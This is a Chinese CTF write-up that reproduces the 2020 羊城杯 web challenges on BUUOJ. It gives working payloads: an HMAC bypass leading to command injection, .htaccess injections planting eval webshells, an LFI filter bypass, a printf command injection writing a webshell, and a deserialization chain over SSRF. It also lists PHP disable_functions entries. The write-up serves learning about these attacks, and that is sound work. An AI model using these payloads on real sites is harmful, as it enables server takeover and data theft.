2020 羊城杯复现
前言
比赛时没做出多少题,正好buu上题了,复现一下
web
easycon
给了一个shell
GWHT{do_u_kn0w_c@idao}
blackcat
进入页面有个黑猫警长的mp3。下载下来结尾有一段代码
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
hash_hmac — 使用 HMAC 方法生成带有密钥的哈希值
hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) : string
在php中md5算法、sha256算法等无法处理数组,这个trick通常来绕过if(@md5($_GET['a']) === @md5($_GET['b']))
,因为当传入参数为数组时,返回值是NULL,造成了NULL===NULL
那么我们传White-cat-monitor
为数组,$clandestine
则为NULL,$hh可控,于是绕过判断,命令执行
White-cat-monitor[]=1&One-ear=;cat flag.php&Black-Cat- Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
buuoj的flag在env里
easyphp
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
绕过正则和关键字拦截,用file_put_contents
写文件,然后题目还限制了只解析index.php
思路
利用.htaccess
来设置文件自动包含
.htaccess
设置php环境变量格式
#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess
可以使用auto_prepend_file
和auto_append_file
来进行包含
这样每个页面都会require所指定的php文件,而不用在页面php文件中使用require
auto_prepend_file #在页面顶部加载文件
auto_append_file #在页面底部加载文件
注意:auto_prepend_file 与 auto_append_file 只能require一个php文件,但这个php文件内可以require多个其他的php文件。
绕过\n
过滤
题目会在写入文件的后面添加\nHello, world
,我们构造payload时,结尾要用\ 处理content中的\n ,不然违背.htaccess 书写格式会导致Apache 运行崩
溃
比如我们需要写入
php_value auto_prepend_file .htaccess
#<?php phpinfo();?>\
如果末尾不加\
来转义\n
,文件内容就会变为
php_value auto_prepend_file .htaccess
#<?php phpinfo();?>
Hello, world
会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,然后全部500
绕过stristr的过滤
过滤了关键字,可以用base64绕过
谈一谈php://filter的妙用
绕过preg_match
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,因此存在了被绕过的可能。
文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式。
看七月火师傅的文章preg_match函数绕过
在PHP中,正则匹配的递归次数由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万 ,该值可以通过php.ini设置,也可以通过 phpinfo 页面查看。
那么可以设置pcre.backtrack_limit值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。
那么同样可以按照.htaccess
文件的格式写入
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world
因为php版本>=7,所以需要特别设置pcre.jit这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit这个环境变量能正常生效,绕过preg_match函数。
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
然后写入一句话
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
方法二
可以通过对过滤的关键字中间添加换行\n来绕过stristr函数的检测,不过仍然需要注意添加\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
easyphp2
访问robots.txt
有个LFI,url两次编码绕过
http://7adf48cc-c6be-46ff-8cf2-00ec52b71e75.node3.buuoj.cn/?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>count is here</title>
<style>
html,
body {
overflow: none;
max-height: 100vh;
}
</style>
</head>
<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">
<center><img src="question.jpg" height="200" width="200" /> </center>
<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
<h1>A Counter is here, but it has someting wrong</h1>
<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="submit">
</form>
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>
</body>
</html>
读check.php
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";
header('Location: /');
密码为GWHT
GET /?file=GWHT.php&count='|echo+"<%3f%3d+eval(\$_POST['shell'])%3f>"+>+a.php' HTTP/1.1
Host: 7adf48cc-c6be-46ff-8cf2-00ec52b71e75.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1
写一句话然后连蚁剑
find / -name "flag*"
找到flag路径,权限问题读不了
/GWHT/system/of/a/down/flag.txt
README里面有个hash
解密后为GWHTCTF
print "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
其实env里面也有,应该是buuoj部署题目时的配置
robots.txt下有个
Disallow: /star1.php/
注释有一个
利用SSRF,http://127.0.0.1/ser.php
读取源码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
反序列化,需要绕过die
<?php
class GWHT{
public $hero;
}
class Yongen{ //flag.php
public $file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
public $text = "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";
}
$a = new GWHT;
$a->hero = new Yongen;
echo urlencode(serialize($a));
payload
/star1.php?path=http://127.0.0.1/sandbox/hrnh1cvpq4bvbm960878icaodb/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}
flag在根目录
break the wall
绕open_basedir
和disable_function
chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink,scandir,popepassthru,fsocket
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl